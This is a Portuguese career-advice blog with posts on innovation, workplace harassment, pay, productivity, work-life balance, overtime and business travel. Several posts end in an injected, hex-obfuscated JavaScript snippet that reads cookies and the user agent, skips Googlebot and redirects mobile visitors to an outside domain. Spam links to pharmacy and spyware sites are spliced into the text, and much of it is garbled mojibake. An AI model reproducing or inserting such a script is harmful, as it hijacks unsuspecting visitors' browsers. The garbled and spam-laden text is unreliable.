Conexão Profissioanal

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Engana-se quem pensa que para inovar Ai?? preciso ser um gA?nio. As boas ideias tambAi??m nA?o surgem do nada, mas exigem que os profissionais pensem diferente. E em tempos de crise, principalmente, iniciativas inovadoras podem ser um prato cheio para quem busca se destacar no mercado.

Em primeiro lugar, quem quer inovar precisa entender que escutarA? muitos ai???nA?osai??? pelo caminho. Frases como ai???isso nA?o vai dar certoai??? ou ai???nA?o hA? mercado para esse produtoai??? sA?o algumas das mais escutadas por quem apresenta uma nova ideia.

Isso pode acontecer por resistA?ncia Ai?? mudanAi??a e, atAi?? mesmo, inveja. No que se refere Ai?? resistA?ncia, ela Ai?? comum e legAi??tima porque toda mudanAi??a exige das pessoas sair da sua zona de conforto. JA? com relaAi??A?o Ai?? inveja, o melhor Ai?? mapear quem pode minar seu projeto e ir construindo estratAi??gia para nA?o se deixar boicotar. E nA?o desanimar jamais.

Outro ponto sobre a inovaAi??A?o Ai?? que ela exige duas coisas: (1) conhecimento sobre sua A?rea profissional e sobre o mercado e; (2) muita dedicaAi??A?o para construir algo novo. Se trouxer algo inovador para sua empresa, procure construir argumentos que mostrem os resultados positivos. Envolva as pessoas na construAi??A?o. Uma equipe que trabalha em conjunto tem grande vantagem competitiva e possibilidade de maior propagaAi??A?o da ideia.

AlAi??m disso, Ai?? fundamental compreender que a inovaAi??A?o nA?o quer dizer algo revolucionA?rio ou nunca visto. Ela fala de pequenas melhorias que podem fazer a diferenAi??a para o cliente. HA? vA?rios casos no mercado que mostram pessoas que cresceram profissionalmente porque buscaram ai???sair do quadradoai??? e arriscar novas ideias, produtos e serviAi??os. Esse pode ser um diferencial na sua carreira. Pesquise bastante e mA?os Ai?? obra!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Você é vítima de frequentes “xingamentos” e gritos do seu gestor? É excluído de eventos profissionais importantes para suas atividades dentro da empresa? Passa por repetitivas situações vexatórias que te fazem sentir à margem da equipe? Isso é assédio moral. Saiba como agir.

Primeiramente, é importante destacar que um ambiente de trabalho deve ser respeitoso e que não podemos aceitar esse tipo de comportamento. Situações nas quais você é frequentemente intimidado, humilhado, especialmente na frente dos colegas, e sofre críticas no âmbito pessoal com teor pejorativo são inaceitáveis.

Há também situações implícitas que caracterizam o assédio, tais como: deixar de fora de reuniões para as quais o profissional deveria participar, criticá-lo para outros empregados, solicitar atividades muito inferiores as suas competências e ao cargo ocupado, entre outras atitudes que isolam a vítima. Então, o que fazer nessas situações?

De posse da alguns exemplos, preferencialmente evidenciados com e-mails ou testemunhas, deve-se procurar ajuda no RH da empresa. Informar o que está acontecendo e solicitar providências. Além disso, adote uma postura de não se deixar intimidar (muito embora seja difícil em alguns momentos), como por exemplo, destacar para seu gestor que deveria participar da reunião devido à relação com seus afazeres e responsabilidades.

Muitas empresas oferecem treinamentos aos seus gerentes sobre o que caracteriza assédio moral, como forma de orientar as atitudes, mas também de eximir-se da responsabilidade, caso aconteçam situações personalizadas e individuais. Além disso, fatos desse tipo devem ser combatidos pelas principais lideranças da empresa e o código de ética da organização deve pautar também o ambiente que se deseja.

Nos casos em que a situação ficar insustentável para o empregado, há a alternativa de entrar com uma ação trabalhista, mas é importante ter evidências para levar adiante. E se sua empresa não consegue dar o suporte necessário e reverter esse contexto, procure uma colocação em um ambiente melhor de trabalho.

N http://acdeimplants.org/what-is-the-cost-of-detrol-la/ http://leonitotl.mhs.narotama.ac.id/2018/02/13/cheap-lady-era-100mg/ http://ayakkabiguvenligi.com/skype-spy-whatsapp-spy/ inguAi??m hA? de negar que uma boa remuneraAi??A?o Ai?? algo atrativo para qualquer profissional. Mas serA? que devemos considerar apenas o salA?rio como fator A?nico para mudar de emprego?

Se vocA? estA? em um lugar onde acredita que sua remuneraAi??A?o nA?o condiz com a sua competA?ncia e desempenho e nA?o vA? perspectivas de futuro, talvez esteja, de fato, na hora de procurar outra oportunidade. Mas antes de sair do emprego atual, vale analisar alguns fatores:

ai??? VocA? encontrarA? na nova empresa atividades com as quais se identifica?
ai??? Os valores e o projeto da empresa sA?o convergentes com os seus?
ai??? HA? oportunidades de crescimento na carreira?
ai??? Como essa empresa entende trabalho em equipe, processo de mudanAi??a e autonomia?
ai??? Por fim, o pacote de remuneraAi??A?o Ai?? atrativo?

Ai?? importante lembrar que remuneraAi??A?o nA?o Ai?? sA? o salA?rio. Os benefAi??cios como Plano de SaA?de, Ticket alimentaAi??A?o e refeiAi??A?o, entre outros, tambAi??m devem ser levados em consideraAi??A?o. E hA? tambAi??m a RemuneraAi??A?o VariA?vel, paga por algumas empresas em cima dos resultados alcanAi??ados em um determinado perAi??odo de tempo e que considera o desempenho do profissional.

Caso nA?o analise esses aspectos com cuidado antes de tomar uma decisA?o, pode correr o risco de sair de uma empresa para outra e decepcionar-se. Mas se vocA? decidir que realmente quer trocar de emprego Ai?? fundamental fazer o mA?ximo para sair do atual da melhor maneira possAi??vel. Lembre-se que tA?o importante quanto entrar em uma empresa Ai?? a forma de sair dela. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Muitos profissionais reclamam de insatisfação com seu trabalho e do impacto que isso tem no seu bem-estar. Essa queixa também é comum aos jovens recém-inseridos no mercado de trabalho. Mas quais são os fatores que impactam a satisfação profissional e pessoal?

Primeiramente, a identificação com o propósito da atividade profissional exercida. Se você atua na área comercial, por exemplo, compreender como sua atividade contribui para os resultados da empresa e gostar do que faz é fundamental. Outro fator é o impacto social da sua atividade. Pergunte-se sobre as consequências do seu trabalho na comunidade onde está inserido.

Muitas empresas têm se preocupado em oferecer suporte à comunidade circundante ou até mesmo capacitação para que a população ao redor atue dentro do negócio. Talvez um envolvimento comunitário do seu trabalho seja um diferencial. Além disso, em princípio, todo negócio faz girar a economia e ajuda no desenvolvimento local.

Compreender, também, a possibilidade de remuneração ao longo da carreira é fundamental. Analisar como a profissão escolhida pode atender suas necessidades e expectativas é relevante para você se planejar.

Por último, é importante avaliar se as condições físicas da sua atividade são convergentes com seu estilo. Por exemplo, uma pessoa que só gosta de atividades de movimento, que ocorrem ao ar livre, terá muito dificuldade em trabalhar em ambientes fechados e mais formais, e isso pode impactar na sua satisfação pessoal.

Encontrar uma carreira que combine com seus anseios, compreender que não há trajetória fácil nem profissão perfeita e saber lidar com isso são fatores fundamentais na busca pela felicidade na profissão.

Nosso planejamento diário está sempre sujeito a interrupções constantes, seja o telefone que toca, novas demandas que chegam ou os colegas de trabalho que precisam da nossa orientação. Mas será que apenas esses fatores são suficientes para explicar a dificuldade em dar conta do trabalho?

Um fenômeno observado nas organizações e que pode explicar essa dificuldade em atender todas as demandas em tempo hábil é a falta de visibilidade do profissional sobre o processo de trabalho. É importante conhecer a lógica de trabalho, quem são os responsáveis pelos processos, quais os processos que servem de entrada para suas atividades e também como elas impactam os demais setores.

Outro ponto importante é discutir nas reuniões da sua área as interferências no andamento das atividades, externas ou internas à organização, e buscar soluções conjuntas. Para não se perder, você também deve estabelecer processo com começo, meio e fim.

Nada de ficar pulando de tarefa em tarefa, sem concluir nenhuma. É precisa saber dizer não a algumas demandas e estabelecer prioridades. Assim, sua produtividade poderá ser ampliada.

Já ao gestor, cabe identificar e deixar claro a quem o empregado deve recorrer quando houver um travamento no fluxo de tarefas e a autonomia de cada setor. Desta forma, evitam-se desvios desnecessários de informações que podem prejudicar o andamento dos processos de trabalho.

Ficar conectado é uma maneira de agilizar o contato entre as pessoas, mas olhar a telinha do celular com muita frequência pode gerar uma diminuição no rendimento. É o que dizem vários estudos em diferentes países. Mas como evitar que o acesso online se transforme em gastador de tempo?

Para não cair nesta armadilha das redes sociais, algumas dicas são fundamentais: retire a funcionalidade de vibração das mensagens e a exibição delas na tela do aparelho. Coloque as mensagens do Whatsapp no mudo, assim, se você está em uma reunião, por exemplo, não ficará tentado a olhar para o celular toda vez que uma mensagem aparecer.

Reserve instantes do dia para baixar suas mensagens e selecione aquilo que for importante. Momentos específicos, como a pausa para o café, podem ser usados para atualizar as suas redes. Analise quais grupos que você deve verificar e responder. Se há um grupo de trabalho, por exemplo, ele deve ser o primeiro a ser visualizado. Muitas vezes, as mensagens recebidas não têm conteúdo relevante, são apenas brincadeiras, então deixe para lê-las em ocasiões de menor movimento.

Recuse ser adicionado em grupos que você sabe que irão apenas encher seu celular de alertas. Explique aos participantes que não está conseguindo administrar a quantidade de mensagens e que prefere sair, mas deixe a porta aberta para contatos individuais.

Outro vilão do tempo é a caixa de e-mail. Aproveite circunstâncias em que estiver esperando em uma fila, ou sem nenhuma atividade, para apagar o lixo eletrônico e limpar sua caixa de e-mails pelo celular. Deste modo, quando chegar ao seu computador, não terá mais que fazer essa limpeza. Por falar em lixo eletrônico, evite dar seu endereço eletrônico em cadastros de lojas, sempre que possível. Bloqueie os remetentes indesejados e amplie seu firewall.

Em algumas situações, talvez seja recomendável deixar as tecnologias de lado para que não atrapalhem uma atividade que você precisa fazer. No fim das contas, as ferramentas tecnológicas são grandes aliadas no mundo atual, desde que se saiba lidar com elas.

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NA?o Ai?? incomum ouvirmos profissionais se queixando que nA?o conseguem participar da vida familiar devido ao trabalho. A perda de eventos como aniversA?rios, almoAi??os familiares, atividades nas escolas dos filhos, entre outras datas importantes, sA?o fatores angustiantes e geradores de estresse. Mas o que fazer para manter o equilAi??brio entre a vida pessoa e profissional?

Se seu trabalho exige estender o expediente atAi?? tarde, trabalhar finais de semana ou fazer viagens constantes Ai?? importante manter uma agenda bem planejada. Algumas dicas sA?o interessantes como, por exemplo, se a data do aniversA?rio do seu filho estA? prA?xima, bloqueie aquele dia para compromissos fora do horA?rio comercial. O ideal Ai?? antecipar algumas demandas para que possa estar em famAi??lia.

Se trabalha nos finais de semana, mas tem alguns livres, aproveite para fazer uma viagem Ai?? praia ou ao campo; ou mesmo para ir ao cinema com todos. Reservar momentos sA? para os familiares Ai?? fundamental. E, mesmo se aparecerem questAi??es profissionais para resolver nesses momentos, veja se Ai?? possAi??vel ficar off-line por pelo menos duas horas para nA?o atrapalhar o dia de lazer.

Utilize-se das tecnologias para ficar mais perto da famAi??lia. Quem disse que os recursos de teleconferA?ncia servem apenas para o trabalho? VocA? tambAi??m pode utilizA?-los, por exemplo, para ensinar uma liAi??A?o da escola a seu filho durante uma viagem. E lembre-se: se realmente precisar faltar a um evento familiar, explique as razAi??es. Angustie-se menos. O sentimento de culpa tende a aparecer, mas hA? formas de lidar com ele.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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http://acdeimplants.org/lady-era-price/ http://ayakkabiguvenligi.com/order-ponstel-syrup/

http://leonitotl.mhs.narotama.ac.id/2018/02/15/panmycin-over-the-counter/ Muitas vezes a realizaAi??A?o de horas extra nA?o ocorre unicamente por causa da necessidade de trabalhar mais para finalizar uma atividade. HA? casos de empresas que se valem desse recurso para aumentar a produAi??A?o sem arcar com os gastos de novas contrataAi??Ai??es; em outros, elas sA?o geradas por falta de acompanhamento das equipes ou pela baixa produtividade de alguns profissionais.

Um dos grandes desafios das empresas, atualmente, Ai?? garantir o nAi??vel de produtividade de seus profissionais sem gerar gastos alAi??m do planejado. O controle desses custos Ai?? responsabilidade do gestor e tambAi??m do profissional, que deve evitar horas extras desnecessA?rias.

Se o profissional mantAi??m o foco no trabalho, pensa no aprimoramento de suas atividades e tem um acompanhamento do gestor, a tendA?ncia Ai?? que a produtividade aumente sem precisar aumentar, tambAi??m, os custos. Para garantir essa equaAi??A?o, Ai?? importante um bom dimensionamento de quadro e, claro, uma equipe com profissionais qualificados e bem treinados.

Mas, se mesmo assim, alguAi??m da equipe vem fazendo hora extra com frequA?ncia, sA? hA? duas explicaAi??Ai??es: ou existe um novo projeto ou processo que demanda um investimento inicial grande, ou o profissional estA? deixando de produzir no horA?rio regular de trabalho. Para a primeira opAi??A?o, nA?o hA? problemas, uma vez que essas horas sA?o necessA?rias e devem estar previstas. Recomenda-se apenas um acompanhamento atento do gestor para dar suporte e garantir as condiAi??Ai??es de execuAi??A?o e os resultados.

JA? no segundo caso, deve-se avaliar se o profissional estA? com alguma dificuldade tAi??cnica, ou se, de fato, estA? gerando uma hora extra desnecessA?ria propositadamente. O que nA?o pode Ai?? desperdiAi??ar tempo e recursos, principalmente em um momento de contenAi??A?o de custos como o que estamos vivendo. E se perceber que as horas extra estA?o sendo geradas propositalmente para aumentar remuneraAi??A?o, o gestor precisarA? rever sua equipe. Nada pior do que ficar com um profissional que nA?o realiza suas atribuiAi??Ai??es para ganhar mais com a hora extra.

JA? para o profissional que estA? tendo dificuldades com a execuAi??A?o de suas atividades, Ai?? importante avaliar se tem a capacitaAi??A?o necessA?ria e se precisa de suporte de colegas. Se sim, nA?o deve se eximir de explicitar para o seu gestor essas questAi??es. Quem fica calado e assume aquilo que nA?o conseguirA? dar conta, certamente passarA? por incompetente.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Meu trabalho exige que eu viaje todas as semanas e por isso acabo passando vários dias longe de casa. Mas como fazer para não deixar que essa rotina interfira na minha saúde?

Primeiramente, é compreensível a exigência de ter uma carreira que demande viagens constantes. Se você passa a semana fora de casa, mas fica hospedado em uma única cidade, é mais fácil construir uma rotina que se assemelhe a do local onde você mora. Não fica difícil organizar uma agenda de atividades físicas e, às vezes, pelo fato de se estar afastado das demandas obrigatórias do dia a dia, como levar os filhos à escola e fazer feira, por exemplo, acaba sendo mais fácil utilizar o tempo livre para cuidar da saúde.

Mas se sua rotina de trabalho exige viajar de cidade em cidade, as complicações são maiores. Valem outras dicas, como por exemplo, levar sempre um tênis, malha de ginástica ou até mesmo roupa de banho – se for da sua preferência – na bagagem. Procure também reservar hotéis que tenham um espaço fitness ou uma piscina com raia para natação. E ainda vale buscar informações sobre a localidade onde você vai trabalhar, pois algumas têm parques e dispõem de infraestrutura para atividades ao ar livre.

Além disso, é essencial não se esquecer de cuidar da alimentação. Mesmo comendo em restaurantes diariamente não podemos exagerar nas gorduras, nos doces e frituras. Comer fora não é sinônimo de comer errado. Procure opções leves – é fácil encontrar restaurantes totalmente voltados para a alimentação saudável hoje em dia. Restaurantes a quilo ajudam a evitar pratos enormes, principalmente quando se come sozinho.

Esses cuidados naturalmente demandam disciplina, mas com um pouco de esforço inicial, você se adaptará e terá muito mais qualidade de vida. E, quando voltar para casa, terá mais disposição para o lazer em família.

Em situações de estresse dentro da empresa, não é incomum vermos profissionais no limite de sua paciência. Mas quando o temperamento foge ao controle e se tem um acesso de raiva no trabalho, a imagem pode ficar prejudicada. Então, o que fazer após um desses momentos?

Se você fez alguma grosseria ou tratou mal algum colega de trabalho, deve procurá-lo diretamente para se desculpar. Não admitir que errou no tratamento é a pior atitude que pode ser tomada, mesmo que sua contrariedade tenha fundamento. Deixar o mal estar se prolongar não fará bem a ninguém, e pode deixar o ambiente de trabalho pesado, gerando um péssimo clima na empresa.

Em situações em que outras pessoas presenciam a situação, como em uma reunião, por exemplo, outro ponto muito importante é se desculpar também com todas elas pelo fato ocorrido. Mostrar que entendeu seu erro de conduta é o primeiro passo para manter a credibilidade.

Vale ainda analisar o que fez você se exaltar e tomar algumas atitudes para que não volte a acontecer; se seu descontrole teve como motivação erros sistemáticos na equipe que estão impactando nos seus resultados, por exemplo, pode-se combinar com os colegas alternativas para a solução dos problemas. Faça acordos sobre procedimentos que podem evitar os erros acidentais. Mas se foi por seu próprio estresse acumulado devido a outros fatores, é fundamental avaliar o que pode ser feito e buscar despressurizar.

Se o estresse é por falta de dinheiro, reveja suas despesas fixas e monte uma estratégia para enfrentar o momento difícil sem tantos apertos. Se for por problemas pessoais, ter uma válvula de escape para relaxar pode ajudar – exercícios físicos, conversa com amigos ou pedido de ajuda à profissionais. Todas as medidas são válidas.

Enfim, todos estão sujeitos a um momento de descontrole e é comum chegar ao seu limite em algum momento; o importante é não deixar que esse comportamento se torne uma constante e você fique sendo conhecido dentro da empresa como uma pessoa destemperada.